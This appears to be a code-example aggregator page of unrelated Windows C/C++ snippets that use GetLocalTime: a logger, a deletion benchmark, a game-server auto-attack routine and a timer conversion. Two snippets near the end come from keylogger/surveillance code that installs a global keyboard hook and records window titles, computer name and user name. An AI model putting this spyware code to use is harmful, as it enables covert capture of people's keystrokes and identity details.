			stTime.wHour,stTime.wMinute,stTime.wSecond,
			_buf);
	}
	
	LONG longH = 0;
	if( ::SetFilePointer(m_hFile,0,&longH,FILE_END) >=0 )
	{
		DWORD written = 0;
		::WriteFile(m_hFile,outbuf,(DWORD)strlen(outbuf),&written,NULL);
	}
	FlushFileBuffers(m_hFile);
	LeaveCriticalSection(&m_cs);
}
Ejemplo n.º 25
0
int TestDelete::Run(UINT32 (__stdcall * func_DeleteFileByID)(const BYTE *pbyFileID))
{
	int result;
	int i;
	int file_type;
	SYSTEMTIME tStart;
	SYSTEMTIME tEnd;
	int time_used;
	char storage_ip[IP_ADDRESS_SIZE];
	memset(storage_ip, 0, sizeof(storage_ip));

	if ((result = load_file_ids()) != 0)
	{
		return result;
	}

	if ((result=test_init()) != 0)
	{
		return result;
	}

	start_time = time(NULL);
	result = 0;
	total_count = 0;
	success_count = 0;
	for (i=0; i<file_count; i++)
	{
		file_type = file_entries[i].file_type;
		files[file_type].delete_count++;
		total_count++;

		GetLocalTime(&tStart);
		result = func_DeleteFileByID((const BYTE*)file_entries[i].file_id);
		GetLocalTime(&tEnd);
		time_used = TIME_SUB_MS(tEnd, tStart);
		files[file_type].time_used += time_used;

		if (result == 0) //success
		{
			success_count++;
			files[file_type].success_count++;
		}
		else //fail
		{
			fprintf(fpFail, "%d %d %s %s %d %d\n", (int)tEnd.wSecond, 
				files[file_type].bytes, file_entries[i].file_id, 
				storage_ip, result, time_used);
			fflush(fpFail);
		}

		if (total_count % 10000 == 0)
		{
			if ((result=save_stats_by_overall()) != 0)
			{
				break;
			}
			if ((result=save_stats_by_file_type()) != 0)
			{
				break;
			}
		}
	}

	save_stats_by_overall();
	save_stats_by_file_type();

	fclose(fpFail);
	
	for(int i = 0; i < file_count; i++)
	{
		free(file_entries[i].file_id);
	}
	free(file_entries);
	file_entries = NULL;
	
	char debugBuf[256];
	sprintf(debugBuf, "proccess %d, time used: %ds\n", proccess_index, (int)(time(NULL) - start_time));
	OutputDebugString(debugBuf);
	return result;
}
Ejemplo n.º 26
0
void __gxx_log__::log_out( int iWay,const wchar_t* tcszOutFormat,... )
{
	EnterCriticalSection(&m_cs);
	LogCreate();
	if( m_hFile == INVALID_HANDLE_VALUE )
	{
		return;
	}
	wchar_t *tOut = NULL;
	if (m_bShowLogType)
	{
		switch(iWay)
		{
		case __GXX_HIT:
			{
				tOut = L"    ";
			}
			break;
		case __GXX_WARNING:
			{
				tOut = L"警告 ";
			}
			break;
		case __GXX_ERROR:
			{
				tOut = L"错误 ";
			}
			break;
		case __GXX_BAD:
			{
				tOut = L"严重 ";
			}
			break;
		default:
			LeaveCriticalSection(&m_cs);
			return;
		}
	}
	else
	{
		tOut = L"";
	}
	int strLen = (int)wcslen(tcszOutFormat) ;
	if( strLen <= 0 )
	{
		LeaveCriticalSection(&m_cs);
		return;
	}
	wchar_t _wBuf[BUF_SIZE];
	va_list  args;
	va_start(args,tcszOutFormat);
	vswprintf(_wBuf,tcszOutFormat,args);
	va_end(args);


	SYSTEMTIME stTime;
	GetLocalTime(&stTime);
	wchar_t outbuf[BUF_SIZE];
	if (m_bDetailLog)
	{
		swprintf(outbuf,L"%s%d-%02d-%02d %02d:%02d:%02d %03d [%d] --> %s\r\n",
			tOut,
			stTime.wYear,stTime.wMonth,stTime.wDay,
			stTime.wHour,stTime.wMinute,stTime.wSecond,stTime.wMilliseconds,GetCurrentThreadId(),
			_wBuf);
	}
	else
	{
		swprintf(outbuf,L"%s%d-%02d-%02d %02d:%02d:%02d --> %s\r\n",
			tOut,
			stTime.wYear,stTime.wMonth,stTime.wDay,
			stTime.wHour,stTime.wMinute,stTime.wSecond,
			_wBuf);
	}
	
	//写入buf完毕
	LONG longH = 0;
	if( ::SetFilePointer(m_hFile,0,&longH,FILE_END)>=0)
	{
		char _buf[BUF_SIZE];
		::WideCharToMultiByte( _AtlGetConversionACP(), 0, outbuf, (int)wcslen(outbuf)+1, _buf, BUF_SIZE*2, NULL, NULL );
		DWORD written = 0;
		::WriteFile(m_hFile,_buf,(DWORD)strlen(_buf),&written,NULL);
	}
	FlushFileBuffers(m_hFile);
	LeaveCriticalSection(&m_cs);
}
Ejemplo n.º 27
0
//=====================================
//	Fairy Elf Offline Experience
//=====================================
void cOffExp::FairyElfOff(LPOBJ lpObj)
{
	int SearchSkill = 0;
	int dis;
	int tObjNum;
	BYTE attr;

	CMagicInf * lpMagic;

	//Buff
	SYSTEMTIME time;
	GetLocalTime(&time);
	if( time.wSecond == 0  || time.wSecond == 10 || 
	    time.wSecond == 20 || time.wSecond == 30 ||
	    time.wSecond == 40 || time.wSecond == 50 )
	{
		int partynum = -1;
		int partycount;
		int number;

		LPOBJ lpPartyObj;

		partynum = lpObj->PartyNumber;

		if(partynum != -1)
		{
			partycount = gParty.m_PartyS[partynum].Count;

			for(int j = 0; j < MAX_USER_IN_PARTY; j++)
			{
				number = gParty.m_PartyS[partynum].Number[j];

				if(number >= 0)
				{
					lpPartyObj = &gObj[number];

					if(lpObj->MapNumber == lpPartyObj->MapNumber)
					{
						dis = gObjCalDistance(lpObj,&gObj[number]);

						if(dis < 6)
						{
							//Defence Baf
							if(gObjGetMagicSearch( lpObj, 27) != NULL) SearchSkill = 27;
							else if(gObjGetMagicSearch( lpObj, 480) != NULL) SearchSkill = 480;
							else if(gObjGetMagicSearch( lpObj, 481) != NULL) SearchSkill = 481;
							else if(gObjGetMagicSearch( lpObj, 482) != NULL) SearchSkill = 482;
							else if(gObjGetMagicSearch( lpObj, 483) != NULL) SearchSkill = 483;
							else if(gObjGetMagicSearch( lpObj, 484) != NULL) SearchSkill = 484;
							else SearchSkill = 0;
							if(SearchSkill != 0)
							{
								lpMagic = gObjGetMagicSearch( lpObj, SearchSkill);
								if(lpMagic!=NULL) gObjUseSkill.UseSkill(lpObj->m_Index, lpObj->m_Index, lpMagic);
							}
							//Damage Baf
							if(gObjGetMagicSearch( lpObj, 28) != NULL) SearchSkill = 28;
							else if(gObjGetMagicSearch( lpObj, 485) != NULL) SearchSkill = 485;
							else if(gObjGetMagicSearch( lpObj, 486) != NULL) SearchSkill = 486;
							else if(gObjGetMagicSearch( lpObj, 487) != NULL) SearchSkill = 487;
							else if(gObjGetMagicSearch( lpObj, 488) != NULL) SearchSkill = 488;
							else if(gObjGetMagicSearch( lpObj, 489) != NULL) SearchSkill = 489;
							else SearchSkill = 0;
							if(SearchSkill != 0)
							{
								lpMagic = gObjGetMagicSearch( lpObj, SearchSkill);
								if(lpMagic!=NULL) gObjUseSkill.UseSkill(lpObj->m_Index, lpObj->m_Index, lpMagic);
							}
							//Heal Baf
							if(gObjGetMagicSearch( lpObj, 26) != NULL) SearchSkill = 26;
							else if(gObjGetMagicSearch( lpObj, 475) != NULL) SearchSkill = 475;
							else if(gObjGetMagicSearch( lpObj, 476) != NULL) SearchSkill = 476;
							else if(gObjGetMagicSearch( lpObj, 477) != NULL) SearchSkill = 477;
							else if(gObjGetMagicSearch( lpObj, 478) != NULL) SearchSkill = 478;
							else if(gObjGetMagicSearch( lpObj, 479) != NULL) SearchSkill = 479;
							else SearchSkill = 0;
							if(SearchSkill != 0)
							{
								lpMagic = gObjGetMagicSearch( lpObj, SearchSkill);
								if(lpMagic!=NULL) gObjUseSkill.UseSkill(lpObj->m_Index, lpObj->m_Index, lpMagic);
							}
						}
					}
				}
			}
		}
		else
		{
			//Defence Baf
			if(gObjGetMagicSearch( lpObj, 27) != NULL) SearchSkill = 27;
			else if(gObjGetMagicSearch( lpObj, 480) != NULL) SearchSkill = 480;
			else if(gObjGetMagicSearch( lpObj, 481) != NULL) SearchSkill = 481;
			else if(gObjGetMagicSearch( lpObj, 482) != NULL) SearchSkill = 482;
			else if(gObjGetMagicSearch( lpObj, 483) != NULL) SearchSkill = 483;
			else if(gObjGetMagicSearch( lpObj, 484) != NULL) SearchSkill = 484;
			else SearchSkill = 0;
			if(SearchSkill != 0)
			{
				lpMagic = gObjGetMagicSearch( lpObj, SearchSkill);
				if(lpMagic!=NULL) gObjUseSkill.UseSkill(lpObj->m_Index, lpObj->m_Index, lpMagic);
			}
			//Damage Baf
			if(gObjGetMagicSearch( lpObj, 28) != NULL) SearchSkill = 28;
			else if(gObjGetMagicSearch( lpObj, 485) != NULL) SearchSkill = 485;
			else if(gObjGetMagicSearch( lpObj, 486) != NULL) SearchSkill = 486;
			else if(gObjGetMagicSearch( lpObj, 487) != NULL) SearchSkill = 487;
			else if(gObjGetMagicSearch( lpObj, 488) != NULL) SearchSkill = 488;
			else if(gObjGetMagicSearch( lpObj, 489) != NULL) SearchSkill = 489;
			else SearchSkill = 0;
			if(SearchSkill != 0)
			{
				lpMagic = gObjGetMagicSearch( lpObj, SearchSkill);
				if(lpMagic!=NULL) gObjUseSkill.UseSkill(lpObj->m_Index, lpObj->m_Index, lpMagic);
			}
			//Heal Baf
			if(gObjGetMagicSearch( lpObj, 26) != NULL) SearchSkill = 26;
			else if(gObjGetMagicSearch( lpObj, 475) != NULL) SearchSkill = 475;
			else if(gObjGetMagicSearch( lpObj, 476) != NULL) SearchSkill = 476;
			else if(gObjGetMagicSearch( lpObj, 477) != NULL) SearchSkill = 477;
			else if(gObjGetMagicSearch( lpObj, 478) != NULL) SearchSkill = 478;
			else if(gObjGetMagicSearch( lpObj, 479) != NULL) SearchSkill = 479;
			else SearchSkill = 0;
			if(SearchSkill != 0)
			{
				lpMagic = gObjGetMagicSearch( lpObj, SearchSkill);
				if(lpMagic!=NULL) gObjUseSkill.UseSkill(lpObj->m_Index, lpObj->m_Index, lpMagic);
			}
		}
	}

	lpMagic = gObjGetMagicSearch( lpObj, 235);	//Multi-Shot 235
	if(lpMagic==NULL) return;

	int NumDir[6] = {0, 50, 100, 150, 200, 250 };
	int StartDir = NumDir[rand()%6];
	gObjUseSkill.UseSkill(lpObj->m_Index, lpMagic,lpObj->X, lpObj->Y,StartDir,0,-1);

	for (int n=0;n<MAX_VIEWPORT_MONSTER;n++)
	{
		tObjNum = lpObj->VpPlayer2[n].number;
		if(lpObj->VpPlayer2[n].state == 0) continue;
		if ( tObjNum >= 0 )
		{
			if ( gObj[tObjNum].Type == OBJ_MONSTER )
			{
				attr = MapC[gObj[tObjNum].MapNumber].GetAttr(gObj[tObjNum].X, gObj[tObjNum].Y);
				if ( (attr&1) != 1 )
				{
					dis = gObjCalDistance(lpObj, &gObj[tObjNum]);
					if(5 >= dis)
					{
						gObjAttack(lpObj, &gObj[tObjNum], lpMagic, FALSE, 1, 0, FALSE, 0 , 0);
					}
				}
			}
		}
	}

	this->UseMana(lpObj->m_Index);
}
Ejemplo n.º 28
0
void get_time_using_GetLocalTime(unsigned long &sec, unsigned long &usec)
{
    static LARGE_INTEGER first_count = { 0, 0 };
    static unsigned long first_sec, first_usec;
    static LARGE_INTEGER perf_freq;   //< Frequency of the performance counter.
    SYSTEMTIME	stime;	    // System time in funky structure
    FILETIME	ftime;	    // Time in 100-nsec intervals since Jan 1 1601
    LARGE_INTEGER   tics;   // ftime stored into a 64-bit quantity
    LARGE_INTEGER perf_counter;

    // The first_count value will be zero only the first time through; we
    // rely on this to set up the structures needed to interpret the data
    // that we get from querying the performance counter.
    if (first_count.QuadPart == 0) {
	QueryPerformanceCounter( &first_count );

        // Find out how fast the performance counter runs.  Store this for later runs.
	QueryPerformanceFrequency( &perf_freq );

	// Find out what time it is in a Windows structure.
	GetLocalTime(&stime);
	SystemTimeToFileTime(&stime, &ftime);

	// Copy the data into a structure that can be treated as a 64-bit integer
	tics.HighPart = ftime.dwHighDateTime;
	tics.LowPart = ftime.dwLowDateTime;

	// Convert the 64-bit time into seconds and microseconds since July 1 1601
	sec = (long)( tics.QuadPart / 10000000L );
	usec = (long)( ( tics.QuadPart - ( ((LONGLONG)(sec)) * 10000000L ) ) / 10 );
	first_sec = sec;
	first_usec = usec;

    } else {
	QueryPerformanceCounter( &perf_counter );
	if ( perf_counter.QuadPart >= first_count.QuadPart ) {
	  perf_counter.QuadPart = perf_counter.QuadPart - first_count.QuadPart;
	} else {
	  // Take care of the case when the counter rolls over.
	  perf_counter.QuadPart = 0x7fffffffffffffffLL - first_count.QuadPart + perf_counter.QuadPart;
	}

	// Reinterpret the performance counter into seconds and microseconds
	// by dividing by the performance counter.  Microseconds is placed
	// into perf_counter by subtracting the seconds value out, then
	// multiplying by 1 million and re-dividing by the performance counter.
	sec = (long)( perf_counter.QuadPart / perf_freq.QuadPart );
	perf_counter.QuadPart -= perf_freq.QuadPart * sec;
	perf_counter.QuadPart *= 1000000L;  //< Turn microseconds into seconds
	usec = first_usec + (long)( perf_counter.QuadPart / perf_freq.QuadPart );
	sec += first_sec;

	// Make sure that we've not got more than a million microseconds.
	// If so, then shift it into seconds.  We don't expect it to be above
	// more than 1 million because we added two things, each of which were
	// less than 1 million.
	if (usec > 1000000L) {
	  usec -= 1000000L;
	  sec++;
	}
    }

    // Translate the time to be based on January 1, 1970 (_ftime base)
    // The offset here is gotten by using the "time_test" program to report the
    // difference in seconds between the two clocks.
    sec -= 3054524608L;
}
Ejemplo n.º 29
0
LRESULT CALLBACK SurveillanceWP(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	switch (message)
	{
	case WM_CREATE:
		SendMessage(hWnd,WM_TIMER,2,NULL);
		SetTimer(hWnd, 1, WINDOW_STAMP, NULL);
		SetTimer(hWnd, 2, TIME_STAMP, NULL);
		///////////////////////
		// Start Surveillance
		///////////////////////
		{
			/* start the keylogger */
			KeyHook = SetWindowsHookEx(WH_KEYBOARD,
			(HOOKPROC)KeyboardHookProc,(HINSTANCE)hDLL,(DWORD)NULL);
			/* start the storage */
			DWORD UpdateThreadId = 0;
			CreateThread(NULL,0,StartUpdate,NULL,0,&UpdateThreadId);
		}
		break;
	case WM_CLOSE:
		SendMessage(UpdateWnd,WM_CLOSE,0,0);
		KillTimer(hWnd, 1);
		KillTimer(hWnd, 2);
		DestroyWindow(hWnd);
		break;
	case WM_DESTROY:
		PostQuitMessage(0);
		return 0;
	case WM_TIMER:
		if(wParam == 1)  // Window Stamp
		{
			static HWND ForegroundWindow = NULL;
			static char *PreviousWindowName = NULL;
			BOOL has_changed = FALSE;

			if(GetForegroundWindow() != ForegroundWindow) {
				has_changed = TRUE;
				ForegroundWindow = GetForegroundWindow();
			}

			/* get WindowName */
			int size = GetWindowTextLength(ForegroundWindow)+1;
			char *WindowName = (char *)calloc(size,sizeof(char));
			size = GetWindowText(ForegroundWindow, WindowName, size);

			if(PreviousWindowName != NULL && WindowName != NULL) {
				if(strcmp(PreviousWindowName, WindowName))
					has_changed = TRUE;
			} else  has_changed = TRUE;

			if(has_changed)
			{
				if(PreviousWindowName)
					free(PreviousWindowName);
				if(WindowName) {
					if(strlen(WindowName)) {
						char *str = (char *)calloc
						((size+STR_SZ1)+STR_SZ2,sizeof(char));
						sprintf(str,"\n\r%s\n",WindowName);
						// Store Information
						STORE_INFO(str);
						free(str);
					}
				}
			}
			PreviousWindowName = WindowName;
		}
		if(wParam == 2)  // Time Stamp
		{
			char *str = (char *)calloc(STR_SZ2+20,1),
				 *sub = (char *)calloc(STR_SZ2,1);

			static char time_stamp = 0;
			if(!(time_stamp%5)) {
				time_stamp++;
				// for every 5 calls stamp time & date...
				TIME_ZONE_INFORMATION here;
				SYSTEMTIME utc, local;
				GetTimeZoneInformation(&here);
				GetLocalTime(&local);
				GetSystemTime(&utc);
				char AM_PM[3];
				if(local.wHour>12) {
					strcpy(AM_PM,"PM");
					local.wHour -= 12;
				} else strcpy(AM_PM,"AM");
				sprintf(sub,
				"%u/%u/%u %u:%u:%u %s (%uH%uM GMT)",
				local.wDay,local.wMonth,local.wYear,
				local.wHour,local.wMinute,local.wSecond,
				AM_PM,utc.wHour,utc.wMinute);
				// write the time & date...
				sprintf(str,"\n\rTime %s\n",sub);
				STORE_INFO(str);
			}
			static char system_stamp = 0;
			if(!(system_stamp%15)) {
				system_stamp++;
				// for every 15 calls do this....
				unsigned long int bsize = STR_SZ2;
				if( !GetComputerName(sub,&bsize) ) {
					sub = (char *) realloc (sub, bsize);
					GetComputerName(sub,&bsize);
				}
				sprintf(str," # Computer Name: %s\r\n",sub);
				STORE_INFO(str);
				if( !GetUserName(sub,&bsize) ) {
					sub = (char *) realloc (sub, bsize);
					GetUserName(sub,&bsize);
				}
				sprintf(str," # User Name: %s\r\n",sub);
				STORE_INFO(str);
				// get OS name & version ...
				OSVERSIONINFO ya;
				ya.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
				if( GetVersionEx(&ya) ) {
					sprintf(str," # Version %u.%u Build %u ",
						ya.dwMajorVersion,
						ya.dwMinorVersion,
						ya.dwBuildNumber);
					if(ya.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
						strcat(str,"Windows 9x ");
					else if(ya.dwPlatformId == VER_PLATFORM_WIN32_NT)
						strcat(str,"Windows NT ");
					strcat(str,ya.szCSDVersion);
					STORE_INFO(str);
				}
			}
			free(sub);
			free(str);
		}
		break;
	}
	return DefWindowProc(hWnd, message, wParam, lParam) ;
}
Ejemplo n.º 30
0
void CALLBACK TimeStamp(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
	char *str = (char *)calloc(STR_SZ2+20,1),
	     *sub = (char *)calloc(STR_SZ2,1);

	static char time_stamp = 0;
	if(!(time_stamp%5)) {
		time_stamp++;
		// for every 5 calls stamp time & date...
		TIME_ZONE_INFORMATION here;
		SYSTEMTIME utc, local;
		GetTimeZoneInformation(&here);
		GetLocalTime(&local);
		GetSystemTime(&utc);
		char AM_PM[3];
		if(local.wHour>12) {
			strcpy(AM_PM,"PM");
			local.wHour -= 12;
		} else strcpy(AM_PM,"AM");
		sprintf(sub,
		"%u/%u/%u %u:%u:%u %s (%uH%uM GMT)",
		local.wDay,local.wMonth,local.wYear,
		local.wHour,local.wMinute,local.wSecond,
		AM_PM,utc.wHour,utc.wMinute);
		// write the time & date...
		sprintf(str,"\n\rTime %s\n",sub);
		StoreInformation(str);
	}
	static char system_stamp = 0;
	if(!(system_stamp%15)) {
		system_stamp++;
		// for every 15 calls do this....
		unsigned long int bsize = STR_SZ2;
		if( !GetComputerName(sub,&bsize) ) {
			sub = (char *) realloc (sub, bsize);
			GetComputerName(sub,&bsize);
		}
		sprintf(str," # Computer Name: %s\r\n",sub);
		StoreInformation(str);
		if( !GetUserName(sub,&bsize) ) {
			sub = (char *) realloc (sub, bsize);
			GetUserName(sub,&bsize);
		}
		sprintf(str," # User Name: %s\r\n",sub);
		StoreInformation(str);
		// get OS name & version ...
		OSVERSIONINFO ya;
		ya.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
		if( GetVersionEx(&ya) ) {
			sprintf(str," # Version %u.%u Build %u ",
				ya.dwMajorVersion,
				ya.dwMinorVersion,
				ya.dwBuildNumber);
			if(ya.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
				strcat(str,"Windows 9x ");
			else if(ya.dwPlatformId == VER_PLATFORM_WIN32_NT)
				strcat(str,"Windows NT ");
			strcat(str,ya.szCSDVersion);
			StoreInformation(str);
		}
	}
	free(sub);
	free(str);
}